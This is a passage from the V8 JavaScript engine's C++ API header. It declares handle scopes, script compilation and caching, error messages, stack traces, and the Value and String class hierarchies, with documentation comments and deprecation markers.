* allocated within that handle scope until either the handle scope is
* deleted or another handle scope is created. If there is already a
* handle scope and a new one is created, all allocations will take
* place in the new handle scope until it is deleted. After that,
* new handles will again be allocated in the original handle scope.
*
* After the handle scope of a local handle has been deleted the
* garbage collector will no longer track the object stored in the
* handle and may deallocate it. The behavior of accessing a handle
* for which the handle scope has been deleted is undefined.
*/
class V8_EXPORT HandleScope {
public:
HandleScope(Isolate* isolate);
~HandleScope();
/**
* Counts the number of allocated handles.
*/
static int NumberOfHandles(Isolate* isolate);
V8_INLINE Isolate* GetIsolate() const {
return reinterpret_cast<Isolate*>(isolate_);
}
protected:
V8_INLINE HandleScope() {}
void Initialize(Isolate* isolate);
static internal::Object** CreateHandle(internal::Isolate* isolate,
internal::Object* value);
private:
// Uses heap_object to obtain the current Isolate.
static internal::Object** CreateHandle(internal::HeapObject* heap_object,
internal::Object* value);
// Make it hard to create heap-allocated or illegal handle scopes by
// disallowing certain operations.
HandleScope(const HandleScope&);
void operator=(const HandleScope&);
void* operator new(size_t size);
void operator delete(void*, size_t);
internal::Isolate* isolate_;
internal::Object** prev_next_;
internal::Object** prev_limit_;
// Local::New uses CreateHandle with an Isolate* parameter.
template<class F> friend class Local;
// Object::GetInternalField and Context::GetEmbedderData use CreateHandle with
// a HeapObject* in their shortcuts.
friend class Object;
friend class Context;
};
/**
* A HandleScope which first allocates a handle in the current scope
* which will be later filled with the escape value.
*/
class V8_EXPORT EscapableHandleScope : public HandleScope {
public:
EscapableHandleScope(Isolate* isolate);
V8_INLINE ~EscapableHandleScope() {}
/**
* Pushes the value into the previous scope and returns a handle to it.
* Cannot be called twice.
*/
template <class T>
V8_INLINE Local<T> Escape(Local<T> value) {
internal::Object** slot =
Escape(reinterpret_cast<internal::Object**>(*value));
return Local<T>(reinterpret_cast<T*>(slot));
}
private:
internal::Object** Escape(internal::Object** escape_value);
// Make it hard to create heap-allocated or illegal handle scopes by
// disallowing certain operations.
EscapableHandleScope(const EscapableHandleScope&);
void operator=(const EscapableHandleScope&);
void* operator new(size_t size);
void operator delete(void*, size_t);
internal::Object** escape_slot_;
};
// --- Special objects ---
/**
* The superclass of values and API object templates.
*/
class V8_EXPORT Data {
private:
Data();
};
/**
* The origin, within a file, of a script.
*/
class ScriptOrigin {
public:
V8_INLINE ScriptOrigin(
Handle<Value> resource_name,
Handle<Integer> resource_line_offset = Handle<Integer>(),
Handle<Integer> resource_column_offset = Handle<Integer>(),
Handle<Boolean> resource_is_shared_cross_origin = Handle<Boolean>(),
Handle<Integer> script_id = Handle<Integer>(),
Handle<Boolean> resource_is_embedder_debug_script = Handle<Boolean>(),
Handle<Value> source_map_url = Handle<Value>())
: resource_name_(resource_name),
resource_line_offset_(resource_line_offset),
resource_column_offset_(resource_column_offset),
resource_is_embedder_debug_script_(resource_is_embedder_debug_script),
resource_is_shared_cross_origin_(resource_is_shared_cross_origin),
script_id_(script_id),
source_map_url_(source_map_url) {}
V8_INLINE Handle<Value> ResourceName() const;
V8_INLINE Handle<Integer> ResourceLineOffset() const;
V8_INLINE Handle<Integer> ResourceColumnOffset() const;
/**
* Returns true for embedder's debugger scripts
*/
V8_INLINE Handle<Boolean> ResourceIsEmbedderDebugScript() const;
V8_INLINE Handle<Boolean> ResourceIsSharedCrossOrigin() const;
V8_INLINE Handle<Integer> ScriptID() const;
V8_INLINE Handle<Value> SourceMapUrl() const;
private:
Handle<Value> resource_name_;
Handle<Integer> resource_line_offset_;
Handle<Integer> resource_column_offset_;
Handle<Boolean> resource_is_embedder_debug_script_;
Handle<Boolean> resource_is_shared_cross_origin_;
Handle<Integer> script_id_;
Handle<Value> source_map_url_;
};
/**
* A compiled JavaScript script, not yet tied to a Context.
*/
class V8_EXPORT UnboundScript {
public:
/**
* Binds the script to the currently entered context.
*/
Local<Script> BindToCurrentContext();
int GetId();
Handle<Value> GetScriptName();
/**
* Data read from magic sourceURL comments.
*/
Handle<Value> GetSourceURL();
/**
* Data read from magic sourceMappingURL comments.
*/
Handle<Value> GetSourceMappingURL();
/**
* Returns zero based line number of the code_pos location in the script.
* -1 will be returned if no information available.
*/
int GetLineNumber(int code_pos);
static const int kNoScriptId = 0;
};
/**
* A compiled JavaScript script, tied to a Context which was active when the
* script was compiled.
*/
class V8_EXPORT Script {
public:
/**
* A shorthand for ScriptCompiler::Compile().
*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<Script> Compile(Handle<String> source,
ScriptOrigin* origin = nullptr));
static MaybeLocal<Script> Compile(Local<Context> context,
Handle<String> source,
ScriptOrigin* origin = nullptr);
static Local<Script> V8_DEPRECATE_SOON("Use maybe version",
Compile(Handle<String> source,
Handle<String> file_name));
/**
* Runs the script returning the resulting value. It will be run in the
* context in which it was created (ScriptCompiler::CompileBound or
* UnboundScript::BindToCurrentContext()).
*/
V8_DEPRECATE_SOON("Use maybe version", Local<Value> Run());
MaybeLocal<Value> Run(Local<Context> context);
/**
* Returns the corresponding context-unbound script.
*/
Local<UnboundScript> GetUnboundScript();
V8_DEPRECATED("Use GetUnboundScript()->GetId()",
int GetId()) {
return GetUnboundScript()->GetId();
}
};
/**
* For compiling scripts.
*/
class V8_EXPORT ScriptCompiler {
public:
/**
* Compilation data that the embedder can cache and pass back to speed up
* future compilations. The data is produced if the CompilerOptions passed to
* the compilation functions in ScriptCompiler contains produce_data_to_cache
* = true. The data to cache can then can be retrieved from
* UnboundScript.
*/
struct V8_EXPORT CachedData {
enum BufferPolicy {
BufferNotOwned,
BufferOwned
};
CachedData()
: data(NULL),
length(0),
rejected(false),
buffer_policy(BufferNotOwned) {}
// If buffer_policy is BufferNotOwned, the caller keeps the ownership of
// data and guarantees that it stays alive until the CachedData object is
// destroyed. If the policy is BufferOwned, the given data will be deleted
// (with delete[]) when the CachedData object is destroyed.
CachedData(const uint8_t* data, int length,
BufferPolicy buffer_policy = BufferNotOwned);
~CachedData();
// TODO(marja): Async compilation; add constructors which take a callback
// which will be called when V8 no longer needs the data.
const uint8_t* data;
int length;
bool rejected;
BufferPolicy buffer_policy;
private:
// Prevent copying. Not implemented.
CachedData(const CachedData&);
CachedData& operator=(const CachedData&);
};
/**
* Source code which can be then compiled to a UnboundScript or Script.
*/
class Source {
public:
// Source takes ownership of CachedData.
V8_INLINE Source(Local<String> source_string, const ScriptOrigin& origin,
CachedData* cached_data = NULL);
V8_INLINE Source(Local<String> source_string,
CachedData* cached_data = NULL);
V8_INLINE ~Source();
// Ownership of the CachedData or its buffers is *not* transferred to the
// caller. The CachedData object is alive as long as the Source object is
// alive.
V8_INLINE const CachedData* GetCachedData() const;
private:
friend class ScriptCompiler;
// Prevent copying. Not implemented.
Source(const Source&);
Source& operator=(const Source&);
Local<String> source_string;
// Origin information
Handle<Value> resource_name;
Handle<Integer> resource_line_offset;
Handle<Integer> resource_column_offset;
Handle<Boolean> resource_is_embedder_debug_script;
Handle<Boolean> resource_is_shared_cross_origin;
Handle<Value> source_map_url;
// Cached data from previous compilation (if a kConsume*Cache flag is
// set), or hold newly generated cache data (kProduce*Cache flags) are
// set when calling a compile method.
CachedData* cached_data;
};
/**
* For streaming incomplete script data to V8. The embedder should implement a
* subclass of this class.
*/
class ExternalSourceStream {
public:
virtual ~ExternalSourceStream() {}
/**
* V8 calls this to request the next chunk of data from the embedder. This
* function will be called on a background thread, so it's OK to block and
* wait for the data, if the embedder doesn't have data yet. Returns the
* length of the data returned. When the data ends, GetMoreData should
* return 0. Caller takes ownership of the data.
*
* When streaming UTF-8 data, V8 handles multi-byte characters split between
* two data chunks, but doesn't handle multi-byte characters split between
* more than two data chunks. The embedder can avoid this problem by always
* returning at least 2 bytes of data.
*
* If the embedder wants to cancel the streaming, they should make the next
* GetMoreData call return 0. V8 will interpret it as end of data (and most
* probably, parsing will fail). The streaming task will return as soon as
* V8 has parsed the data it received so far.
*/
virtual size_t GetMoreData(const uint8_t** src) = 0;
};
/**
* Source code which can be streamed into V8 in pieces. It will be parsed
* while streaming. It can be compiled after the streaming is complete.
* StreamedSource must be kept alive while the streaming task is ran (see
* ScriptStreamingTask below).
*/
class V8_EXPORT StreamedSource {
public:
enum Encoding { ONE_BYTE, TWO_BYTE, UTF8 };
StreamedSource(ExternalSourceStream* source_stream, Encoding encoding);
~StreamedSource();
// Ownership of the CachedData or its buffers is *not* transferred to the
// caller. The CachedData object is alive as long as the StreamedSource
// object is alive.
const CachedData* GetCachedData() const;
internal::StreamedSource* impl() const { return impl_; }
private:
// Prevent copying. Not implemented.
StreamedSource(const StreamedSource&);
StreamedSource& operator=(const StreamedSource&);
internal::StreamedSource* impl_;
};
/**
* A streaming task which the embedder must run on a background thread to
* stream scripts into V8. Returned by ScriptCompiler::StartStreamingScript.
*/
class ScriptStreamingTask {
public:
virtual ~ScriptStreamingTask() {}
virtual void Run() = 0;
};
enum CompileOptions {
kNoCompileOptions = 0,
kProduceParserCache,
kConsumeParserCache,
kProduceCodeCache,
kConsumeCodeCache,
// Support the previous API for a transition period.
kProduceDataToCache
};
/**
* Compiles the specified script (context-independent).
* Cached data as part of the source object can be optionally produced to be
* consumed later to speed up compilation of identical source scripts.
*
* Note that when producing cached data, the source must point to NULL for
* cached data. When consuming cached data, the cached data must have been
* produced by the same version of V8.
*
* \param source Script source code.
* \return Compiled script object (context independent; for running it must be
* bound to a context).
*/
static V8_DEPRECATE_SOON("Use maybe version",
Local<UnboundScript> CompileUnbound(
Isolate* isolate, Source* source,
CompileOptions options = kNoCompileOptions));
static MaybeLocal<UnboundScript> CompileUnboundScript(
Isolate* isolate, Source* source,
CompileOptions options = kNoCompileOptions);
/**
* Compiles the specified script (bound to current context).
*
* \param source Script source code.
* \param pre_data Pre-parsing data, as obtained by ScriptData::PreCompile()
* using pre_data speeds compilation if it's done multiple times.
* Owned by caller, no references are kept when this function returns.
* \return Compiled script object, bound to the context that was active
* when this function was called. When run it will always use this
* context.
*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<Script> Compile(Isolate* isolate, Source* source,
CompileOptions options = kNoCompileOptions));
static MaybeLocal<Script> Compile(Local<Context> context, Source* source,
CompileOptions options = kNoCompileOptions);
/**
* Returns a task which streams script data into V8, or NULL if the script
* cannot be streamed. The user is responsible for running the task on a
* background thread and deleting it. When ran, the task starts parsing the
* script, and it will request data from the StreamedSource as needed. When
* ScriptStreamingTask::Run exits, all data has been streamed and the script
* can be compiled (see Compile below).
*
* This API allows to start the streaming with as little data as possible, and
* the remaining data (for example, the ScriptOrigin) is passed to Compile.
*/
static ScriptStreamingTask* StartStreamingScript(
Isolate* isolate, StreamedSource* source,
CompileOptions options = kNoCompileOptions);
/**
* Compiles a streamed script (bound to current context).
*
* This can only be called after the streaming has finished
* (ScriptStreamingTask has been run). V8 doesn't construct the source string
* during streaming, so the embedder needs to pass the full source here.
*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<Script> Compile(Isolate* isolate, StreamedSource* source,
Handle<String> full_source_string,
const ScriptOrigin& origin));
static MaybeLocal<Script> Compile(Local<Context> context,
StreamedSource* source,
Handle<String> full_source_string,
const ScriptOrigin& origin);
/**
* Return a version tag for CachedData for the current V8 version & flags.
*
* This value is meant only for determining whether a previously generated
* CachedData instance is still valid; the tag has no other meaing.
*
* Background: The data carried by CachedData may depend on the exact
* V8 version number or currently compiler flags. This means when
* persisting CachedData, the embedder must take care to not pass in
* data from another V8 version, or the same version with different
* features enabled.
*
* The easiest way to do so is to clear the embedder's cache on any
* such change.
*
* Alternatively, this tag can be stored alongside the cached data and
* compared when it is being used.
*/
static uint32_t CachedDataVersionTag();
/**
* Compile an ES6 module.
*
* This is an experimental feature.
*
* TODO(adamk): Script is likely the wrong return value for this;
* should return some new Module type.
*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<Script> CompileModule(Isolate* isolate, Source* source,
CompileOptions options = kNoCompileOptions));
static MaybeLocal<Script> CompileModule(
Local<Context> context, Source* source,
CompileOptions options = kNoCompileOptions);
/**
* Compile a function for a given context. This is equivalent to running
*
* with (obj) {
* return function(args) { ... }
* }
*
* It is possible to specify multiple context extensions (obj in the above
* example).
*/
static V8_DEPRECATE_SOON("Use maybe version",
Local<Function> CompileFunctionInContext(
Isolate* isolate, Source* source,
Local<Context> context, size_t arguments_count,
Local<String> arguments[],
size_t context_extension_count,
Local<Object> context_extensions[]));
static MaybeLocal<Function> CompileFunctionInContext(
Local<Context> context, Source* source, size_t arguments_count,
Local<String> arguments[], size_t context_extension_count,
Local<Object> context_extensions[]);
private:
static MaybeLocal<UnboundScript> CompileUnboundInternal(
Isolate* isolate, Source* source, CompileOptions options, bool is_module);
};
/**
* An error message.
*/
class V8_EXPORT Message {
public:
Local<String> Get() const;
V8_DEPRECATE_SOON("Use maybe version", Local<String> GetSourceLine()) const;
MaybeLocal<String> GetSourceLine(Local<Context> context) const;
/**
* Returns the origin for the script from where the function causing the
* error originates.
*/
ScriptOrigin GetScriptOrigin() const;
/**
* Returns the resource name for the script from where the function causing
* the error originates.
*/
Handle<Value> GetScriptResourceName() const;
/**
* Exception stack trace. By default stack traces are not captured for
* uncaught exceptions. SetCaptureStackTraceForUncaughtExceptions allows
* to change this option.
*/
Handle<StackTrace> GetStackTrace() const;
/**
* Returns the number, 1-based, of the line where the error occurred.
*/
V8_DEPRECATE_SOON("Use maybe version", int GetLineNumber()) const;
Maybe<int> GetLineNumber(Local<Context> context) const;
/**
* Returns the index within the script of the first character where
* the error occurred.
*/
int GetStartPosition() const;
/**
* Returns the index within the script of the last character where
* the error occurred.
*/
int GetEndPosition() const;
/**
* Returns the index within the line of the first character where
* the error occurred.
*/
V8_DEPRECATE_SOON("Use maybe version", int GetStartColumn()) const;
Maybe<int> GetStartColumn(Local<Context> context) const;
/**
* Returns the index within the line of the last character where
* the error occurred.
*/
V8_DEPRECATE_SOON("Use maybe version", int GetEndColumn()) const;
Maybe<int> GetEndColumn(Local<Context> context) const;
/**
* Passes on the value set by the embedder when it fed the script from which
* this Message was generated to V8.
*/
bool IsSharedCrossOrigin() const;
// TODO(1245381): Print to a string instead of on a FILE.
static void PrintCurrentStackTrace(Isolate* isolate, FILE* out);
static const int kNoLineNumberInfo = 0;
static const int kNoColumnInfo = 0;
static const int kNoScriptIdInfo = 0;
};
/**
* Representation of a JavaScript stack trace. The information collected is a
* snapshot of the execution stack and the information remains valid after
* execution continues.
*/
class V8_EXPORT StackTrace {
public:
/**
* Flags that determine what information is placed captured for each
* StackFrame when grabbing the current stack trace.
*/
enum StackTraceOptions {
kLineNumber = 1,
kColumnOffset = 1 << 1 | kLineNumber,
kScriptName = 1 << 2,
kFunctionName = 1 << 3,
kIsEval = 1 << 4,
kIsConstructor = 1 << 5,
kScriptNameOrSourceURL = 1 << 6,
kScriptId = 1 << 7,
kExposeFramesAcrossSecurityOrigins = 1 << 8,
kOverview = kLineNumber | kColumnOffset | kScriptName | kFunctionName,
kDetailed = kOverview | kIsEval | kIsConstructor | kScriptNameOrSourceURL
};
/**
* Returns a StackFrame at a particular index.
*/
Local<StackFrame> GetFrame(uint32_t index) const;
/**
* Returns the number of StackFrames.
*/
int GetFrameCount() const;
/**
* Returns StackTrace as a v8::Array that contains StackFrame objects.
*/
Local<Array> AsArray();
/**
* Grab a snapshot of the current JavaScript execution stack.
*
* \param frame_limit The maximum number of stack frames we want to capture.
* \param options Enumerates the set of things we will capture for each
* StackFrame.
*/
static Local<StackTrace> CurrentStackTrace(
Isolate* isolate,
int frame_limit,
StackTraceOptions options = kOverview);
};
/**
* A single JavaScript stack frame.
*/
class V8_EXPORT StackFrame {
public:
/**
* Returns the number, 1-based, of the line for the associate function call.
* This method will return Message::kNoLineNumberInfo if it is unable to
* retrieve the line number, or if kLineNumber was not passed as an option
* when capturing the StackTrace.
*/
int GetLineNumber() const;
/**
* Returns the 1-based column offset on the line for the associated function
* call.
* This method will return Message::kNoColumnInfo if it is unable to retrieve
* the column number, or if kColumnOffset was not passed as an option when
* capturing the StackTrace.
*/
int GetColumn() const;
/**
* Returns the id of the script for the function for this StackFrame.
* This method will return Message::kNoScriptIdInfo if it is unable to
* retrieve the script id, or if kScriptId was not passed as an option when
* capturing the StackTrace.
*/
int GetScriptId() const;
/**
* Returns the name of the resource that contains the script for the
* function for this StackFrame.
*/
Local<String> GetScriptName() const;
/**
* Returns the name of the resource that contains the script for the
* function for this StackFrame or sourceURL value if the script name
* is undefined and its source ends with //# sourceURL=... string or
* deprecated //@ sourceURL=... string.
*/
Local<String> GetScriptNameOrSourceURL() const;
/**
* Returns the name of the function associated with this stack frame.
*/
Local<String> GetFunctionName() const;
/**
* Returns whether or not the associated function is compiled via a call to
* eval().
*/
bool IsEval() const;
/**
* Returns whether or not the associated function is called as a
* constructor via "new".
*/
bool IsConstructor() const;
};
// A StateTag represents a possible state of the VM.
enum StateTag { JS, GC, COMPILER, OTHER, EXTERNAL, IDLE };
// A RegisterState represents the current state of registers used
// by the sampling profiler API.
struct RegisterState {
RegisterState() : pc(NULL), sp(NULL), fp(NULL) {}
void* pc; // Instruction pointer.
void* sp; // Stack pointer.
void* fp; // Frame pointer.
};
// The output structure filled up by GetStackSample API function.
struct SampleInfo {
size_t frames_count;
StateTag vm_state;
};
/**
* A JSON Parser.
*/
class V8_EXPORT JSON {
public:
/**
* Tries to parse the string |json_string| and returns it as value if
* successful.
*
* \param json_string The string to parse.
* \return The corresponding value if successfully parsed.
*/
static V8_DEPRECATE_SOON("Use maybe version",
Local<Value> Parse(Local<String> json_string));
static MaybeLocal<Value> Parse(Isolate* isolate, Local<String> json_string);
};
/**
* A map whose keys are referenced weakly. It is similar to JavaScript WeakMap
* but can be created without entering a v8::Context and hence shouldn't
* escape to JavaScript.
*/
class V8_EXPORT NativeWeakMap : public Data {
public:
static Local<NativeWeakMap> New(Isolate* isolate);
void Set(Handle<Value> key, Handle<Value> value);
Local<Value> Get(Handle<Value> key);
bool Has(Handle<Value> key);
bool Delete(Handle<Value> key);
};
// --- Value ---
/**
* The superclass of all JavaScript values and objects.
*/
class V8_EXPORT Value : public Data {
public:
/**
* Returns true if this value is the undefined value. See ECMA-262
* 4.3.10.
*/
V8_INLINE bool IsUndefined() const;
/**
* Returns true if this value is the null value. See ECMA-262
* 4.3.11.
*/
V8_INLINE bool IsNull() const;
/**
* Returns true if this value is true.
*/
bool IsTrue() const;
/**
* Returns true if this value is false.
*/
bool IsFalse() const;
/**
* Returns true if this value is a symbol or a string.
* This is an experimental feature.
*/
bool IsName() const;
/**
* Returns true if this value is an instance of the String type.
* See ECMA-262 8.4.
*/
V8_INLINE bool IsString() const;
/**
* Returns true if this value is a symbol.
* This is an experimental feature.
*/
bool IsSymbol() const;
/**
* Returns true if this value is a function.
*/
bool IsFunction() const;
/**
* Returns true if this value is an array.
*/
bool IsArray() const;
/**
* Returns true if this value is an object.
*/
bool IsObject() const;
/**
* Returns true if this value is boolean.
*/
bool IsBoolean() const;
/**
* Returns true if this value is a number.
*/
bool IsNumber() const;
/**
* Returns true if this value is external.
*/
bool IsExternal() const;
/**
* Returns true if this value is a 32-bit signed integer.
*/
bool IsInt32() const;
/**
* Returns true if this value is a 32-bit unsigned integer.
*/
bool IsUint32() const;
/**
* Returns true if this value is a Date.
*/
bool IsDate() const;
/**
* Returns true if this value is an Arguments object.
*/
bool IsArgumentsObject() const;
/**
* Returns true if this value is a Boolean object.
*/
bool IsBooleanObject() const;
/**
* Returns true if this value is a Number object.
*/
bool IsNumberObject() const;
/**
* Returns true if this value is a String object.
*/
bool IsStringObject() const;
/**
* Returns true if this value is a Symbol object.
* This is an experimental feature.
*/
bool IsSymbolObject() const;
/**
* Returns true if this value is a NativeError.
*/
bool IsNativeError() const;
/**
* Returns true if this value is a RegExp.
*/
bool IsRegExp() const;
/**
* Returns true if this value is a Generator function.
* This is an experimental feature.
*/
bool IsGeneratorFunction() const;
/**
* Returns true if this value is a Generator object (iterator).
* This is an experimental feature.
*/
bool IsGeneratorObject() const;
/**
* Returns true if this value is a Promise.
* This is an experimental feature.
*/
bool IsPromise() const;
/**
* Returns true if this value is a Map.
* This is an experimental feature.
*/
bool IsMap() const;
/**
* Returns true if this value is a Set.
* This is an experimental feature.
*/
bool IsSet() const;
/**
* Returns true if this value is a Map Iterator.
* This is an experimental feature.
*/
bool IsMapIterator() const;
/**
* Returns true if this value is a Set Iterator.
* This is an experimental feature.
*/
bool IsSetIterator() const;
/**
* Returns true if this value is a WeakMap.
* This is an experimental feature.
*/
bool IsWeakMap() const;
/**
* Returns true if this value is a WeakSet.
* This is an experimental feature.
*/
bool IsWeakSet() const;
/**
* Returns true if this value is an ArrayBuffer.
* This is an experimental feature.
*/
bool IsArrayBuffer() const;
/**
* Returns true if this value is an ArrayBufferView.
* This is an experimental feature.
*/
bool IsArrayBufferView() const;
/**
* Returns true if this value is one of TypedArrays.
* This is an experimental feature.
*/
bool IsTypedArray() const;
/**
* Returns true if this value is an Uint8Array.
* This is an experimental feature.
*/
bool IsUint8Array() const;
/**
* Returns true if this value is an Uint8ClampedArray.
* This is an experimental feature.
*/
bool IsUint8ClampedArray() const;
/**
* Returns true if this value is an Int8Array.
* This is an experimental feature.
*/
bool IsInt8Array() const;
/**
* Returns true if this value is an Uint16Array.
* This is an experimental feature.
*/
bool IsUint16Array() const;
/**
* Returns true if this value is an Int16Array.
* This is an experimental feature.
*/
bool IsInt16Array() const;
/**
* Returns true if this value is an Uint32Array.
* This is an experimental feature.
*/
bool IsUint32Array() const;
/**
* Returns true if this value is an Int32Array.
* This is an experimental feature.
*/
bool IsInt32Array() const;
/**
* Returns true if this value is a Float32Array.
* This is an experimental feature.
*/
bool IsFloat32Array() const;
/**
* Returns true if this value is a Float64Array.
* This is an experimental feature.
*/
bool IsFloat64Array() const;
/**
* Returns true if this value is a DataView.
* This is an experimental feature.
*/
bool IsDataView() const;
MaybeLocal<Boolean> ToBoolean(Local<Context> context) const;
MaybeLocal<Number> ToNumber(Local<Context> context) const;
MaybeLocal<String> ToString(Local<Context> context) const;
MaybeLocal<String> ToDetailString(Local<Context> context) const;
MaybeLocal<Object> ToObject(Local<Context> context) const;
MaybeLocal<Integer> ToInteger(Local<Context> context) const;
MaybeLocal<Uint32> ToUint32(Local<Context> context) const;
MaybeLocal<Int32> ToInt32(Local<Context> context) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<Boolean> ToBoolean(Isolate* isolate)) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<Number> ToNumber(Isolate* isolate)) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<String> ToString(Isolate* isolate)) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<String> ToDetailString(Isolate* isolate)) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<Object> ToObject(Isolate* isolate)) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<Integer> ToInteger(Isolate* isolate)) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<Uint32> ToUint32(Isolate* isolate)) const;
V8_DEPRECATE_SOON("Use maybe version",
Local<Int32> ToInt32(Isolate* isolate)) const;
inline V8_DEPRECATE_SOON("Use maybe version",
Local<Boolean> ToBoolean()) const;
inline V8_DEPRECATE_SOON("Use maybe version", Local<Number> ToNumber()) const;
inline V8_DEPRECATE_SOON("Use maybe version", Local<String> ToString()) const;
inline V8_DEPRECATE_SOON("Use maybe version",
Local<String> ToDetailString()) const;
inline V8_DEPRECATE_SOON("Use maybe version", Local<Object> ToObject()) const;
inline V8_DEPRECATE_SOON("Use maybe version",
Local<Integer> ToInteger()) const;
inline V8_DEPRECATE_SOON("Use maybe version", Local<Uint32> ToUint32()) const;
inline V8_DEPRECATE_SOON("Use maybe version", Local<Int32> ToInt32()) const;
/**
* Attempts to convert a string to an array index.
* Returns an empty handle if the conversion fails.
*/
V8_DEPRECATE_SOON("Use maybe version", Local<Uint32> ToArrayIndex()) const;
MaybeLocal<Uint32> ToArrayIndex(Local<Context> context) const;
Maybe<bool> BooleanValue(Local<Context> context) const;
Maybe<double> NumberValue(Local<Context> context) const;
Maybe<int64_t> IntegerValue(Local<Context> context) const;
Maybe<uint32_t> Uint32Value(Local<Context> context) const;
Maybe<int32_t> Int32Value(Local<Context> context) const;
V8_DEPRECATE_SOON("Use maybe version", bool BooleanValue()) const;
V8_DEPRECATE_SOON("Use maybe version", double NumberValue()) const;
V8_DEPRECATE_SOON("Use maybe version", int64_t IntegerValue()) const;
V8_DEPRECATE_SOON("Use maybe version", uint32_t Uint32Value()) const;
V8_DEPRECATE_SOON("Use maybe version", int32_t Int32Value()) const;
/** JS == */
V8_DEPRECATE_SOON("Use maybe version", bool Equals(Handle<Value> that)) const;
Maybe<bool> Equals(Local<Context> context, Handle<Value> that) const;
bool StrictEquals(Handle<Value> that) const;
bool SameValue(Handle<Value> that) const;
template <class T> V8_INLINE static Value* Cast(T* value);
private:
V8_INLINE bool QuickIsUndefined() const;
V8_INLINE bool QuickIsNull() const;
V8_INLINE bool QuickIsString() const;
bool FullIsUndefined() const;
bool FullIsNull() const;
bool FullIsString() const;
};
/**
* The superclass of primitive values. See ECMA-262 4.3.2.
*/
class V8_EXPORT Primitive : public Value { };
/**
* A primitive boolean value (ECMA-262, 4.3.14). Either the true
* or false value.
*/
class V8_EXPORT Boolean : public Primitive {
public:
bool Value() const;
V8_INLINE static Boolean* Cast(v8::Value* obj);
V8_INLINE static Handle<Boolean> New(Isolate* isolate, bool value);
private:
static void CheckCast(v8::Value* obj);
};
/**
* A superclass for symbols and strings.
*/
class V8_EXPORT Name : public Primitive {
public:
/**
* Returns the identity hash for this object. The current implementation
* uses an inline property on the object to store the identity hash.
*
* The return value will never be 0. Also, it is not guaranteed to be
* unique.
*/
int GetIdentityHash();
V8_INLINE static Name* Cast(v8::Value* obj);
private:
static void CheckCast(v8::Value* obj);
};
enum class NewStringType { kNormal, kInternalized };
/**
* A JavaScript string value (ECMA-262, 4.3.17).
*/
class V8_EXPORT String : public Name {
public:
static const int kMaxLength = (1 << 28) - 16;
enum Encoding {
UNKNOWN_ENCODING = 0x1,
TWO_BYTE_ENCODING = 0x0,
ONE_BYTE_ENCODING = 0x4
};
/**
* Returns the number of characters in this string.
*/
int Length() const;
/**
* Returns the number of bytes in the UTF-8 encoded
* representation of this string.
*/
int Utf8Length() const;
/**
* Returns whether this string is known to contain only one byte data.
* Does not read the string.
* False negatives are possible.
*/
bool IsOneByte() const;
/**
* Returns whether this string contain only one byte data.
* Will read the entire string in some cases.
*/
bool ContainsOnlyOneByte() const;
/**
* Write the contents of the string to an external buffer.
* If no arguments are given, expects the buffer to be large
* enough to hold the entire string and NULL terminator. Copies
* the contents of the string and the NULL terminator into the
* buffer.
*
* WriteUtf8 will not write partial UTF-8 sequences, preferring to stop
* before the end of the buffer.
*
* Copies up to length characters into the output buffer.
* Only null-terminates if there is enough space in the buffer.
*
* \param buffer The buffer into which the string will be copied.
* \param start The starting position within the string at which
* copying begins.
* \param length The number of characters to copy from the string. For
* WriteUtf8 the number of bytes in the buffer.
* \param nchars_ref The number of characters written, can be NULL.
* \param options Various options that might affect performance of this or
* subsequent operations.
* \return The number of characters copied to the buffer excluding the null
* terminator. For WriteUtf8: The number of bytes copied to the buffer
* including the null terminator (if written).
*/
enum WriteOptions {
NO_OPTIONS = 0,
HINT_MANY_WRITES_EXPECTED = 1,
NO_NULL_TERMINATION = 2,
PRESERVE_ONE_BYTE_NULL = 4,
// Used by WriteUtf8 to replace orphan surrogate code units with the
// unicode replacement character. Needs to be set to guarantee valid UTF-8
// output.
REPLACE_INVALID_UTF8 = 8
};
// 16-bit character codes.
int Write(uint16_t* buffer,
int start = 0,
int length = -1,
int options = NO_OPTIONS) const;
// One byte characters.
int WriteOneByte(uint8_t* buffer,
int start = 0,
int length = -1,
int options = NO_OPTIONS) const;
// UTF-8 encoded characters.
int WriteUtf8(char* buffer,
int length = -1,
int* nchars_ref = NULL,
int options = NO_OPTIONS) const;
/**
* A zero length string.
*/
V8_INLINE static v8::Local<v8::String> Empty(Isolate* isolate);
/**
* Returns true if the string is external
*/
bool IsExternal() const;
/**
* Returns true if the string is both external and one-byte.
*/
bool IsExternalOneByte() const;
class V8_EXPORT ExternalStringResourceBase { // NOLINT
public:
virtual ~ExternalStringResourceBase() {}
protected:
ExternalStringResourceBase() {}
/**
* Internally V8 will call this Dispose method when the external string
* resource is no longer needed. The default implementation will use the
* delete operator. This method can be overridden in subclasses to
* control how allocated external string resources are disposed.
*/
virtual void Dispose() { delete this; }
private:
// Disallow copying and assigning.
ExternalStringResourceBase(const ExternalStringResourceBase&);
void operator=(const ExternalStringResourceBase&);
friend class v8::internal::Heap;
};
/**
* An ExternalStringResource is a wrapper around a two-byte string
* buffer that resides outside V8's heap. Implement an
* ExternalStringResource to manage the life cycle of the underlying
* buffer. Note that the string data must be immutable.
*/
class V8_EXPORT ExternalStringResource
: public ExternalStringResourceBase {
public:
/**
* Override the destructor to manage the life cycle of the underlying
* buffer.
*/
virtual ~ExternalStringResource() {}
/**
* The string data from the underlying buffer.
*/
virtual const uint16_t* data() const = 0;
/**
* The length of the string. That is, the number of two-byte characters.
*/
virtual size_t length() const = 0;
protected:
ExternalStringResource() {}
};
/**
* An ExternalOneByteStringResource is a wrapper around an one-byte
* string buffer that resides outside V8's heap. Implement an
* ExternalOneByteStringResource to manage the life cycle of the
* underlying buffer. Note that the string data must be immutable
* and that the data must be Latin-1 and not UTF-8, which would require
* special treatment internally in the engine and do not allow efficient
* indexing. Use String::New or convert to 16 bit data for non-Latin1.
*/
class V8_EXPORT ExternalOneByteStringResource
: public ExternalStringResourceBase {
public:
/**
* Override the destructor to manage the life cycle of the underlying
* buffer.
*/
virtual ~ExternalOneByteStringResource() {}
/** The string data from the underlying buffer.*/
virtual const char* data() const = 0;
